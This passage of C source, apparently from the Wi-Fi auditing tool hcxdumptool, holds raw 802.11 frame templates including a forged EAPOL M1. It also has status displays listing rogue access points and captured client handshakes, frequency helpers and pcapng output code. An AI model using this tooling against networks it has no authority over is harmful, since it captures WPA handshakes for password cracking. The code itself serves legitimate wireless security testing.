0x98, 0x24, /* Tag: DS Parameter set: Current Channel: 1 */ 0x03, 0x01, 0x01, /* Tag: TIM Information */ 0x05, 0x04, 0x00, 0x01, 0x00, 0x00, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c, /* Tag: RSN Information CCM CCM PSK */ 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00, }; #define BEACONDATA_SIZE sizeof(beacondata) /*---------------------------------------------------------------------------*/ static const u8 proberesponsedata[] = { /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 0x98, 0x24, /* Tag: DS Parameter set: Current Channel: 1 */ 0x03, 0x01, 0x01, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c, /* Tag: RSN Information CCM CCM PSK */ 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00, }; #define PROBERESPONSEDATA_SIZE sizeof(proberesponsedata) /*---------------------------------------------------------------------------*/ static const u8 proberequest_undirected_data[] = { /* Tag: Wildcard */ 0x00, 0x00, /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 0x98, 0x24, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c }; #define PROBEREQUEST_UNDIRECTED_SIZE sizeof(proberequest_undirected_data) /*---------------------------------------------------------------------------*/ static const u8 authenticationrequestdata[] = { 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 }; #define AUTHENTICATIONREQUEST_SIZE sizeof(authenticationrequestdata) /*---------------------------------------------------------------------------*/ static const u8 authenticationresponsedata[] = { 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 }; #define AUTHENTICATIONRESPONSE_SIZE sizeof(authenticationresponsedata) /*---------------------------------------------------------------------------*/ static const u8 reassociationrequestdata[] = { /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 0x98, 0x24, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c, /* RSN information AES PSK (WPA2) */ 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, /* group cipher */ 0x01, 0x00, /* count */ 0x00, 0x0f, 0xac, 0x04, /* pairwise cipher */ 0x01, 0x00, /* count */ 0x00, 0x0f, 0xac, 0x02, /* AKM */ 0x80, 0x00, /* RM Enabled Capabilities */ 0x46, 0x05, 0x7b, 0x00, 0x02, 0x00, 0x00, /* Supported Operating Classes */ 0x3b, 0x04, 0x51, 0x51, 0x53, 0x54 }; #define REASSOCIATIONREQUEST_SIZE sizeof(reassociationrequestdata) /*---------------------------------------------------------------------------*/ static const u8 associationrequestcapa[] = { 0x31, 0x04, 0x05, 0x00 }; #define ASSOCIATIONREQUESTCAPA_SIZE sizeof(associationrequestcapa) /*---------------------------------------------------------------------------*/ static const u8 associationrequestdata[] = { /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 0x98, 0x24, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c, /* RSN information AES PSK (WPA2) */ 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, /* group cipher */ 0x01, 0x00, /* count */ 0x00, 0x0f, 0xac, 0x04, /* pairwise cipher */ 0x01, 0x00, /* count */ 0x00, 0x0f, 0xac, 0x02, /* AKM */ 0x80, 0x00, /* RM Enabled Capabilities */ 0x46, 0x05, 0x7b, 0x00, 0x02, 0x00, 0x00, /* Supported Operating Classes */ 0x3b, 0x04, 0x51, 0x51, 0x53, 0x54 }; #define ASSOCIATIONREQUEST_SIZE sizeof(associationrequestdata) /*---------------------------------------------------------------------------*/ static const u8 associationresponsedata[] = { /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 0x98, 0x24, /* Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] */ 0x32, 0x04, 0xb0, 0x48, 0x60, 0x6c, /* Tag: Extended Capabilities (8 octets) */ //0x7f, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40 }; #define ASSOCIATIONRESPONSEDATA_SIZE sizeof(associationresponsedata) /*---------------------------------------------------------------------------*/ static u8 eapolm1data[] = { /* LLC */ 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e, /* M1 WPA2 */ 0x02, 0x03, 0x00, 0x5f, 0x02, 0x00, 0x8a, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #define EAPOLM1DATA_SIZE sizeof(eapolm1data) /*---------------------------------------------------------------------------*/ static const u8 eaprequestiddata[] = { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e, 0x01, 0x00, 0x00, 0x05, 0x01, 0x01, 0x00, 0x05, 0x01 }; #define EAPREQUESTID_SIZE sizeof(eaprequestiddata) /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static u8 macaprghidden[ETH_ALEN] = { 0 }; static u8 macaprg[ETH_ALEN] = { 0 }; static u8 macclientrg[ETH_ALEN +2] = { 0 }; static u8 anoncerg[32] = { 0 }; static u8 snoncerg[32] = { 0 }; static char weakcandidate[PSK_MAX]; static char timestring1[TIMESTRING_LEN]; static char timestring2[TIMESTRING_LEN]; static char country[3]; static authseqakt_t authseqakt = { 0 }; static u8 nltxbuffer[NLTX_SIZE] = { 0 }; static u8 nlrxbuffer[NLRX_SIZE] = { 0 }; static u8 epb[PCAPNG_SNAPLEN * 2] = { 0 }; static u8 epbown[WLTXBUFFER] = { 0 }; static u8 wltxbuffer[WLTXBUFFER] = { 0 }; #ifdef HCXNMEAOUT static char nmeabuffer[NMEA_SIZE] = { 0 }; static char gpwpl[NMEA_MSG_MAX] = { 0 }; static char gprmc[NMEA_MSG_MAX] = { 0 }; static char gpgga[NMEA_MSG_MAX] = { 0 }; static char gptxt[NMEA_MSG_MAX] = { 0 }; #endif static char rtb[RTD_LEN] = { 0 }; /*===========================================================================*/ /*===========================================================================*/ /* status print */ static void show_interfacecapabilities2(void) { static size_t i; static size_t ifl; static const char *po = "N/A"; static const char *mode = "-"; static frequencylist_t *iffreql; for(i = 0; i < ifpresentlistcounter; i++) { if((ifpresentlist +i)->index != ifaktindex) continue; fprintf(stdout, "interface information:\n\nphy idx hw-mac virtual-mac m ifname driver (protocol)\n" "---------------------------------------------------------------------------------------------\n"); if(((ifpresentlist +i)->type & IF_HAS_NETLINK) == IF_HAS_NETLINK) po = "NETLINK"; if(((ifpresentlist +i)->type & IFTYPEMONACT) == IFTYPEMONACT) mode = "*"; else if(((ifpresentlist +i)->type & IFTYPEMON) == IFTYPEMON) mode = "+"; fprintf(stdout, "%3d %3d %02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x%02x %s %-*s %s (%s)\n", (ifpresentlist +i)->wiphy, (ifpresentlist +i)->index, (ifpresentlist +i)->hwmac[0], (ifpresentlist +i)->hwmac[1], (ifpresentlist +i)->hwmac[2], (ifpresentlist +i)->hwmac[3], (ifpresentlist +i)->hwmac[4], (ifpresentlist +i)->hwmac[5], (ifpresentlist +i)->vimac[0], (ifpresentlist +i)->vimac[1], (ifpresentlist +i)->vimac[2], (ifpresentlist +i)->vimac[3], (ifpresentlist +i)->vimac[4], (ifpresentlist +i)->vimac[5], mode, IF_NAMESIZE, (ifpresentlist +i)->name, (ifpresentlist +i)->driver, po); iffreql = (ifpresentlist +i)->frequencylist; fprintf(stdout, "\n\navailable frequencies: frequency [channel] tx-power of Regulatory Domain: %s\n", country); for(ifl = 0; ifl < FREQUENCYLIST_MAX; ifl++) { if((iffreql + ifl)->frequency == 0) break; if(ifl % 4 == 0) fprintf(stdout, "\n"); else fprintf(stdout, "\t"); if((iffreql + ifl)->status == 0) fprintf(stdout, "%6d [%3d] %.1f dBm", (iffreql + ifl)->frequency, (iffreql + ifl)->channel, 0.01 *(iffreql + ifl)->pwr); else fprintf(stdout, "%6d [%3d] disabled", (iffreql + ifl)->frequency, (iffreql + ifl)->channel); } fprintf(stdout, "\n"); fprintf(stdout, "\n\nscan frequencies: frequency [channel] of Regulatory Domain: %s\n", country); for(ifl = 0; ifl < FREQUENCYLIST_MAX; ifl++) { if((scanlist + ifl)->frequency == 0) break; if(ifl % 5 == 0) fprintf(stdout, "\n"); else fprintf(stdout, "\t"); fprintf(stdout, "%6d [%3d]", (scanlist + ifl)->frequency, (scanlist + ifl)->channel); } fprintf(stdout, "\n"); } return; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static void show_interfacecapabilities(void) { static size_t i; static size_t ifl; static const char *po = "N/A"; static const char *mode = "-"; static frequencylist_t *iffreql; for(i = 0; i < ifpresentlistcounter; i++) { if((ifpresentlist +i)->index != ifaktindex) continue; fprintf(stdout, "interface information:\n\nphy idx hw-mac virtual-mac m ifname driver (protocol)\n" "---------------------------------------------------------------------------------------------\n"); if(((ifpresentlist +i)->type & IF_HAS_NETLINK) == IF_HAS_NETLINK) po = "NETLINK"; if(((ifpresentlist +i)->type & IFTYPEMONACT) == IFTYPEMONACT) mode = "*"; else if(((ifpresentlist +i)->type & IFTYPEMON) == IFTYPEMON) mode = "+"; fprintf(stdout, "%3d %3d %02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x%02x %s %-*s %s (%s)\n", (ifpresentlist +i)->wiphy, (ifpresentlist +i)->index, (ifpresentlist +i)->hwmac[0], (ifpresentlist +i)->hwmac[1], (ifpresentlist +i)->hwmac[2], (ifpresentlist +i)->hwmac[3], (ifpresentlist +i)->hwmac[4], (ifpresentlist +i)->hwmac[5], (ifpresentlist +i)->vimac[0], (ifpresentlist +i)->vimac[1], (ifpresentlist +i)->vimac[2], (ifpresentlist +i)->vimac[3], (ifpresentlist +i)->vimac[4], (ifpresentlist +i)->vimac[5], mode, IF_NAMESIZE, (ifpresentlist +i)->name, (ifpresentlist +i)->driver, po); iffreql = (ifpresentlist +i)->frequencylist; fprintf(stdout, "\n\navailable frequencies: frequency [channel] tx-power of Regulatory Domain: %s\n", country); for(ifl = 0; ifl < FREQUENCYLIST_MAX; ifl++) { if((iffreql + ifl)->frequency == 0) break; if(ifl % 4 == 0) fprintf(stdout, "\n"); else fprintf(stdout, "\t"); if((iffreql + ifl)->status == 0) fprintf(stdout, "%6d [%3d] %.1f dBm", (iffreql + ifl)->frequency, (iffreql + ifl)->channel, 0.01 *(iffreql + ifl)->pwr); else fprintf(stdout, "%6d [%3d] disabled", (iffreql + ifl)->frequency, (iffreql + ifl)->channel); } fprintf(stdout, "\n"); } return; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static void show_interfacelist_short(void) { static size_t i; static const char *po = "N/A"; static const char *mode = "-"; for(i = 0; i < ifpresentlistcounter; i++) { if(((ifpresentlist +i)->type & IF_HAS_NETLINK) == IF_HAS_NETLINK) po = "NETLINK"; if(((ifpresentlist +i)->type & IFTYPEMONACT) == IFTYPEMONACT) mode = "*"; else if(((ifpresentlist +i)->type & IFTYPEMON) == IFTYPEMON) mode = "+"; fprintf(stdout, "%3d\t%3d\t%02x%02x%02x%02x%02x%02x\t%02x%02x%02x%02x%02x%02x\t%s\t%-*s\t%s\t%s\n", (ifpresentlist +i)->wiphy, (ifpresentlist +i)->index, (ifpresentlist +i)->hwmac[0], (ifpresentlist +i)->hwmac[1], (ifpresentlist +i)->hwmac[2], (ifpresentlist +i)->hwmac[3], (ifpresentlist +i)->hwmac[4], (ifpresentlist +i)->hwmac[5], (ifpresentlist +i)->vimac[0], (ifpresentlist +i)->vimac[1], (ifpresentlist +i)->vimac[2], (ifpresentlist +i)->vimac[3], (ifpresentlist +i)->vimac[4], (ifpresentlist +i)->vimac[5], mode, IF_NAMESIZE, (ifpresentlist +i)->name, (ifpresentlist +i)->driver, po); } return; } /*---------------------------------------------------------------------------*/ static void show_interfacelist(void) { static size_t i; static const char *po = "N/A"; static const char *mode = "-"; fprintf(stdout, "available wlan devices:\n\nphy idx hw-mac virtual-mac m ifname driver (protocol)\n" "---------------------------------------------------------------------------------------------\n"); for(i = 0; i < ifpresentlistcounter; i++) { if(((ifpresentlist +i)->type & IF_HAS_NETLINK) == IF_HAS_NETLINK) po = "NETLINK"; if(((ifpresentlist +i)->type & IFTYPEMONACT) == IFTYPEMONACT) mode = "*"; else if(((ifpresentlist +i)->type & IFTYPEMON) == IFTYPEMON) mode = "+"; fprintf(stdout, "%3d %3d %02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x%02x %s %-*s %s (%s)\n", (ifpresentlist +i)->wiphy, (ifpresentlist +i)->index, (ifpresentlist +i)->hwmac[0], (ifpresentlist +i)->hwmac[1], (ifpresentlist +i)->hwmac[2], (ifpresentlist +i)->hwmac[3], (ifpresentlist +i)->hwmac[4], (ifpresentlist +i)->hwmac[5], (ifpresentlist +i)->vimac[0], (ifpresentlist +i)->vimac[1], (ifpresentlist +i)->vimac[2], (ifpresentlist +i)->vimac[3], (ifpresentlist +i)->vimac[4], (ifpresentlist +i)->vimac[5], mode, IF_NAMESIZE, (ifpresentlist +i)->name, (ifpresentlist +i)->driver, po); } fprintf(stdout, "\n" "* active monitor mode available (reported by driver - do not trust it)\n" "+ monitor mode available (reported by driver)\n" "- no monitor mode available\n"); return; } /*---------------------------------------------------------------------------*/ static inline void show_realtime_rca(void) { static size_t i; static size_t p; static time_t tvlastb; static time_t tvlastp; static char *ak; static char *pmdef = " "; static char *pmok = "+"; static char *notime = " "; if(system("clear") != 0) errorcount++; if(rdsort == 0) qsort(aplist, RCAD_MAX, APLIST_SIZE, sort_aplist_by_tsakt); else qsort(aplist, RCAD_MAX, APLIST_SIZE, sort_aplist_by_count); sprintf(&rtb[0], " CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: %6u\n" "--------------------------------------------------------------------------\n", (scanlist + scanlistindex)->frequency); p = strlen(rtb); i = 0; for(i = 0; i < RCAD_MAX ; i++) { if((aplist +i)->tsakt == 0) break; if(((aplist +i)->ie.flags & APAKM_MASK) != 0) ak = pmok; else ak = pmdef; tvlastb = (aplist +i)->tsakt / 1000000000ULL; strftime(timestring1, TIMESTRING_LEN, "%H:%M:%S", localtime(&tvlastb)); if(((aplist +i)->status & AP_PROBERESPONSE) == AP_PROBERESPONSE) { tvlastp = (aplist +i)->tsauth / 1000000000ULL; strftime(timestring2, TIMESTRING_LEN, "%H:%M:%S", localtime(&tvlastp)); } else strncpy(timestring2, notime, TIMESTRING_LEN); sprintf(&rtb[p], " %3d %5d %s %s %s %02x%02x%02x%02x%02x%02x %.*s [%u]\n", (aplist +i)->ie.channel, (aplist +i)->frequency, timestring1, timestring2, ak, (aplist +i)->macap[0], (aplist +i)->macap[1], (aplist +i)->macap[2], (aplist +i)->macap[3], (aplist +i)->macap[4], (aplist +i)->macap[5], (aplist +i)->ie.essidlen, (aplist +i)->ie.essid, (aplist +i)->count); p = strlen(rtb); } rtb[p] = 0; fprintf(stdout, "%s", rtb); if(rdsort > 0) qsort(aplist, RCAD_MAX, APLIST_SIZE, sort_aplist_by_tsakt); return; } /*---------------------------------------------------------------------------*/ #ifdef HCXSTATUSOUT static inline void show_realtime(void) { static size_t i; static size_t p; static size_t pa; static time_t tvlast; static char *pmdef = " "; static char *pmok = "+"; static char *ps; static char *mc; static char *ma; static char *me; static char *ak; static char *ar; if(system("clear") != 0) errorcount++; if(rdsort == 0) { qsort(aplist, APLIST_MAX, APLIST_SIZE, sort_aplist_by_tsakt); sprintf(&rtb[0], " CHA LAST R 1 3 P S MAC-AP ESSID (last seen on top) SCAN-FREQUENCY: %6u\n" "-----------------------------------------------------------------------------------------\n", (scanlist + scanlistindex)->frequency); } else { qsort(aplist, APLIST_MAX, APLIST_SIZE, sort_aplist_by_status); sprintf(&rtb[0], " CHA LAST R 1 3 P S MAC-AP ESSID (last EAPOL on top) SCAN-FREQUENCY: %6u\n" "-----------------------------------------------------------------------------------------\n", (scanlist + scanlistindex)->frequency); } p = strlen(rtb); i = 0; pa = 0; for(i = 0; i < 20 ; i++) { if((aplist +i)->tsakt == 0) break; if(((aplist +i)->status & AP_EAPOL_M1) == AP_EAPOL_M1) mc = pmok; else mc = pmdef; if(((aplist +i)->status & AP_EAPOL_M3) == AP_EAPOL_M3) ma = pmok; else ma = pmdef; if(((aplist +i)->status & AP_PMKID) == AP_PMKID) ps = pmok; else ps = pmdef; if(((aplist +i)->ie.flags & APAKM_MASK) != 0) ak = pmok; else ak = pmdef; if(((aplist +i)->status & AP_IN_RANGE) == AP_IN_RANGE) ar = pmok; else ar = pmdef; tvlast = (aplist +i)->tsakt / 1000000000ULL; strftime(timestring1, TIMESTRING_LEN, "%H:%M:%S", localtime(&tvlast)); sprintf(&rtb[p], " %3d %s %s %s %s %s %s %02x%02x%02x%02x%02x%02x %.*s\n", (aplist +i)->ie.channel, timestring1, ar, mc, ma, ps, ak, (aplist +i)->macap[0], (aplist +i)->macap[1], (aplist +i)->macap[2], (aplist +i)->macap[3], (aplist +i)->macap[4], (aplist +i)->macap[5], (aplist +i)->ie.essidlen, (aplist +i)->ie.essid); if(tsakt - (aplist +i)->tsakt > AP_IN_RANGE_TOT) (aplist +i)->status = ((aplist +i)->status & AP_IN_RANGE_MASK); p = strlen(rtb); pa++; } for(i = 0; i < (22 - pa); i++) rtb[p++] = '\n'; if(rdsort == 0) { qsort(clientlist, CLIENTLIST_MAX, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); sprintf(&rtb[p], " LAST E 2 MAC-AP-ROGUE MAC-CLIENT ESSID (last seen on top)\n" "-----------------------------------------------------------------------------------------\n"); } else { qsort(clientlist, CLIENTLIST_MAX, CLIENTLIST_SIZE, sort_clientlist_by_status); sprintf(&rtb[p], " LAST E 2 MAC-AP-ROGUE MAC-CLIENT ESSID (last M2ROGUE on top)\n" "-----------------------------------------------------------------------------------------\n"); } p = strlen(rtb); for(i = 0; i < 20; i++) { if((clientlist +i)->tsakt == 0) break; if(((clientlist +i)->status & CLIENT_EAP_START) == CLIENT_EAP_START) me = pmok; else me = pmdef; if(((clientlist +i)->status & CLIENT_EAPOL_M2) == CLIENT_EAPOL_M2) mc = pmok; else mc = pmdef; tvlast = (clientlist +i)->tsakt / 1000000000ULL; strftime(timestring1, TIMESTRING_LEN, "%H:%M:%S", localtime(&tvlast)); sprintf(&rtb[p], " %s %s %s %02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x%02x %.*s\n", timestring1, me, mc, (clientlist +i)->macap[0], (clientlist +i)->macap[1], (clientlist +i)->macap[2], (clientlist +i)->macap[3], (clientlist +i)->macap[4], (clientlist +i)->macap[5], (clientlist +i)->macclient[0], (clientlist +i)->macclient[1], (clientlist +i)->macclient[2], (clientlist +i)->macclient[3], (clientlist +i)->macclient[4], (clientlist +i)->macclient[5], (clientlist +i)->ie.essidlen, (clientlist +i)->ie.essid); p = strlen(rtb); } rtb[p] = 0; fprintf(stdout, "%s", rtb); if(rdsort > 0) { qsort(aplist, APLIST_MAX, APLIST_SIZE, sort_aplist_by_tsakt); qsort(clientlist, CLIENTLIST_MAX, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); } return; } #endif /*===========================================================================*/ /* frequency handling */ /*---------------------------------------------------------------------------*/ static u32 channel_to_frequency(u16 channel, u16 band) { if(channel <= 0) return 0; switch(band) { case NL80211_BAND_2GHZ: if(channel == 14) return 2484; else if (channel < 14) return 2407 + (channel * 5); break; case NL80211_BAND_5GHZ: if(channel >= 182 && channel <= 196) return 4000 + (channel * 5); else return 5000 + channel * 5; break; #if(LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0)) case NL80211_BAND_6GHZ: if(channel == 2) return 5935; if(channel <= 233) return 5950 + (channel * 5); break; case NL80211_BAND_60GHZ: if(channel < 7) return 56160 + (channel * 2160); break; case NL80211_BAND_S1GHZ: return 902000 + (channel * 500); #endif } return 0; } /*---------------------------------------------------------------------------*/ static u16 frequency_to_channel(u32 frequency) { if(frequency == 2484) return 14; else if(frequency < 2484) return (frequency - 2407) / 5; else if(frequency >= 4910 && frequency <= 4980) return (frequency - 4000) / 5; else if(frequency < 5925) return (frequency - 5000) / 5; else if(frequency == 5935) return 2; else if(frequency <= 45000) return (frequency - 5950) / 5; else if(frequency >= 58320 && frequency <= 70200) return (frequency - 56160) / 2160; else return 0; } /*===========================================================================*/ #ifdef HCXNMEAOUT static void writegpwpl(size_t i) { static ssize_t p1; static ssize_t p2; static size_t c; static u8 cs; if(gprmclen == 0) return; if(write(fd_hcxpos, gprmc, gprmclen) != gprmclen) errorcount++; if(gpggalen != 0) { if(write(fd_hcxpos, gpgga, gpggalen) != gpggalen) errorcount++; } p1 = 0; p2 = 6; c = 0; cs = 0x5c; while((p1 < gprmclen) && (c < 7)) { if(gprmc[p1] == ',') c++; if(c > 2) { gpwpl[p2] = gprmc[p1]; cs ^= gpwpl[p2++]; } p1++; } for (p1 = 0; p1 < ETH_ALEN; ++p1) { gpwpl[p2] = lookuptable[((aplist +i)->macap[p1] & 0xf0) >> 4]; cs ^= gpwpl[p2++]; gpwpl[p2] = lookuptable[(aplist +i)->macap[p1] & 0xf]; cs ^= gpwpl[p2++]; } gpwpl[p2++] = '*'; gpwpl[p2++] = lookuptable[(cs & 0xf0) >> 4]; gpwpl[p2++] = lookuptable[cs & 0x0f]; gpwpl[p2++] = '\r'; gpwpl[p2++] = '\n'; if(write(fd_hcxpos, gpwpl, p2) != p2) errorcount++; gpwpl[p2++] = '\0'; if(((aplist +i)->ie.essidlen == 0) || ((aplist +i)->ie.essidlen > ESSID_MAX)) return; p2 = 7; cs = 0x63; for(p1 = 0; p1 < (aplist +i)->ie.essidlen; p1 ++) { gptxt[p2] = lookuptable[((aplist +i)->ie.essid[p1] & 0xf0) >> 4]; cs ^= gptxt[p2++]; gptxt[p2] = lookuptable[(aplist +i)->ie.essid[p1] & 0xf]; cs ^= gptxt[p2++]; } gptxt[p2++] = '*'; gptxt[p2++] = lookuptable[(cs & 0xf0) >> 4]; gptxt[p2++] = lookuptable[cs & 0x0f]; gptxt[p2++] = '\r'; gptxt[p2++] = '\n'; if(write(fd_hcxpos, gptxt, p2) != p2) errorcount++; gptxt[p2++] = '\0'; wgpwplcount++; return; } #endif /*===========================================================================*/ static u16 addoption(u8 *posopt, u16 optioncode, u16 optionlen, char *option) { static u16 padding; static option_header_t *optionhdr; optionhdr = (option_header_t*)posopt; optionhdr->option_code = optioncode; optionhdr->option_length = optionlen; padding = (4 -(optionlen % 4)) % 4; memset(optionhdr->option_data, 0, optionlen +padding); memcpy(optionhdr->option_data, option, optionlen); return optionlen + padding + 4; } /*---------------------------------------------------------------------------*/ /* static u16 addcustomoptionheader(u8 *pospt) { static u16 colen; static option_header_t *optionhdr; optionhdr = (option_header_t*)pospt; optionhdr->option_code = SHB_CUSTOM_OPT; colen = OH_SIZE; memcpy(pospt +colen, &hcxmagic, 4); colen += 4; memcpy(pospt +colen, &hcxmagic, 32); colen += 32; return colen; } */ /*===========================================================================*/ static u16 addcustomoption(u8 *pospt) { static u16 colen; static option_header_t *optionhdr; static optionfield64_t *of; optionhdr = (option_header_t*)pospt; optionhdr->option_code = SHB_CUSTOM_OPT; colen = OH_SIZE; memcpy(pospt +colen, &hcxmagic, 4); colen += 4; memcpy(pospt +colen, &hcxmagic, 32); colen += 32; colen += addoption(pospt +colen, OPTIONCODE_MACAP, 6, (char*)macaprg); of = (optionfield64_t*)(pospt +colen); of->option_code = OPTIONCODE_RC; of->option_length = 8; of->option_value = replaycountrg; colen += 12; colen += addoption(pospt +colen, OPTIONCODE_ANONCE, 32, (char*)anoncerg); colen += addoption(pospt +colen, OPTIONCODE_MACCLIENT, 6, (char*)macclientrg); colen += addoption(pospt +colen, OPTIONCODE_SNONCE, 32, (char*)snoncerg); colen += addoption(pospt +colen, OPTIONCODE_WEAKCANDIDATE, strnlen(weakcandidate, PSK_MAX), weakcandidate); colen += addoption(pospt +colen, 0, 0, NULL); optionhdr->option_length = colen -OH_SIZE; return colen; } /*===========================================================================*/ static inline void writeepbm1(void) { static ssize_t epblen; static ssize_t ii; static u64 tsm1; static u16 padding; static total_length_t *totallength; ii = RTHTX_SIZE + EPB_SIZE; macftx = (ieee80211_mac_t*)&epbown[ii]; macftx->type = IEEE80211_FTYPE_DATA; macftx->subtype = IEEE80211_STYPE_DATA; macftx->from_ds = 1; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; ii += MAC_SIZE_NORM; memcpy(&epbown[ii], &eapolm1data, EAPOLM1DATA_SIZE); ii += EAPOLM1DATA_SIZE; epbhdr = (enhanced_packet_block_t*)epbown; epblen = EPB_SIZE; epbhdr->block_type = EPBID; epbhdr->interface_id = 0; epbhdr->cap_len = ii; epbhdr->org_len = ii; tsm1 = tsakt - 1; epbhdr->timestamp_high = tsm1 >> 32; epbhdr->timestamp_low = (u32)tsm1 & 0xffffffff; padding = (4 -(epbhdr->cap_len % 4)) % 4; epblen += ii; memset(&epbown[epblen], 0, padding); epblen += padding; epblen += addoption(epbown +epblen, SHB_EOC, 0, NULL); totallength = (total_length_t*)(epbown +epblen); epblen += TOTAL_SIZE; epbhdr->total_length = epblen; totallength->total_length = epblen; if(write(fd_pcapng, &epbown, epblen) != epblen) errorcount++; #ifdef HCXSTATUSOUT wepbcount++; #endif return; } /*===========================================================================*/ static inline void writeepb(void) { static ssize_t epblen; static u16 padding; static total_length_t *totallength; epbhdr = (enhanced_packet_block_t*)epb; epblen = EPB_SIZE; epbhdr->block_type = EPBID; epbhdr->interface_id = 0; epbhdr->cap_len = packetlen; epbhdr->org_len = packetlen; epbhdr->timestamp_high = tsakt >> 32; epbhdr->timestamp_low = (u32)tsakt & 0xffffffff; padding = (4 -(epbhdr->cap_len % 4)) % 4; epblen += packetlen; memset(&epb[epblen], 0, padding); epblen += padding; epblen += addoption(epb +epblen, SHB_EOC, 0, NULL); totallength = (total_length_t*)(epb +epblen); epblen += TOTAL_SIZE; epbhdr->total_length = epblen; totallength->total_length = epblen; if(write(fd_pcapng, &epb, epblen) != epblen) errorcount++; #ifdef HCXSTATUSOUT wepbcount++; #endif return; } /*---------------------------------------------------------------------------*/ static bool writeshb(void) { static ssize_t shblen; static section_header_block_t *shbhdr; static total_length_t *totallength; static struct utsname unameData; static char sysinfo[SHB_SYSINFO_LEN]; static u8 shb[PCAPNG_BLOCK_SIZE]; memset(&shb, 0, PCAPNG_BLOCK_SIZE); shblen = SHB_SIZE; shbhdr = (section_header_block_t*)shb; shbhdr->block_type = PCAPNGBLOCKTYPE; shbhdr->byte_order_magic = PCAPNGMAGICNUMBER; shbhdr->major_version = PCAPNG_MAJOR_VER; shbhdr->minor_version = PCAPNG_MINOR_VER; shbhdr->section_length = -1; if(uname(&unameData) == 0) { shblen += addoption(shb +shblen, SHB_HARDWARE, strlen(unameData.machine), unameData.machine); snprintf(sysinfo, SHB_SYSINFO_LEN, "%s %s", unameData.sysname, unameData.release); shblen += addoption(shb +shblen, SHB_OS, strlen(sysinfo), sysinfo); snprintf(sysinfo, SHB_SYSINFO_LEN, "hcxdumptool %s", VERSION_TAG); shblen += addoption(shb +shblen, SHB_USER_APPL, strlen(sysinfo), sysinfo); } shblen += addcustomoption(shb +shblen); shblen += addoption(shb +shblen, SHB_EOC, 0, NULL); totallength = (total_length_t*)(shb +shblen); shblen += TOTAL_SIZE; shbhdr->total_length = shblen; 